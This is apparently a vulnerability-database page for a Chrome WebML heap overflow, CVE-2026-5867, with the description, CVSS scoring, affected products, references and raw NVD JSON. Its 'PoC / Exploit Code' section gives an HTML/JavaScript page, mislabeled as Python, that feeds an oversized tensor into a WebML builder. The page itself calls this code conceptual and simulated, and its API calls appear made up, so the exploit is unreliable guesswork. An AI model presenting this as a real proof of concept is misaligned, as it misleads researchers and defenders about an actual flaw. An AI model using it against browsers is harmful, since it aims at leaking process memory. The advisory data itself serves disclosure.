CVE-2026-5867

Description

Heap buffer overflow in WebML in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-5867: Heap Buffer Overflow in WebML -->
<!-- This is a conceptual example to trigger the vulnerability -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5867 PoC</title>
</head>
<body>
    <script>
        // Attempt to interact with WebML API (simulated environment)
        // In a real scenario, specific tensor operations or model parsing trigger the overflow
        
        async function triggerOverflow() {
            try {
                // Check if WebML is available
                if (navigator.ml) {
                    const builder = new navigator.ml.NNBuilder();
                    
                    // Create a malicious tensor with crafted dimensions to cause overflow
                    // The specific parameters depend on the exact bug in 147.0.7727.55
                    const maliciousInput = {
                        type: 'float32',
                        dimensions: [1, 2147483647] // Extremely large dimension to trigger allocation/read issue
                    };

                    const output = builder.constant(maliciousInput);
                    
                    // Compile the model to trigger the parsing logic
                    const model = await builder.build();
                    console.log("Model compiled, memory state potentially compromised.");
                } else {
                    console.log("WebML not supported in this environment.");
                }
            } catch (e) {
                console.error("Exception caught (expected in PoC):", e);
            }
        }

        triggerOverflow();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5867
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5867
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5867/
[4] VulDB https://vuldb.com/cve/CVE-2026-5867
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/492668885

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5867", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:26.247", "lastModified": "2026-04-14T13:16:22.857", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in WebML in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/492668885", "source": "[email protected]", "tags": ["Permissions Required"]}]}}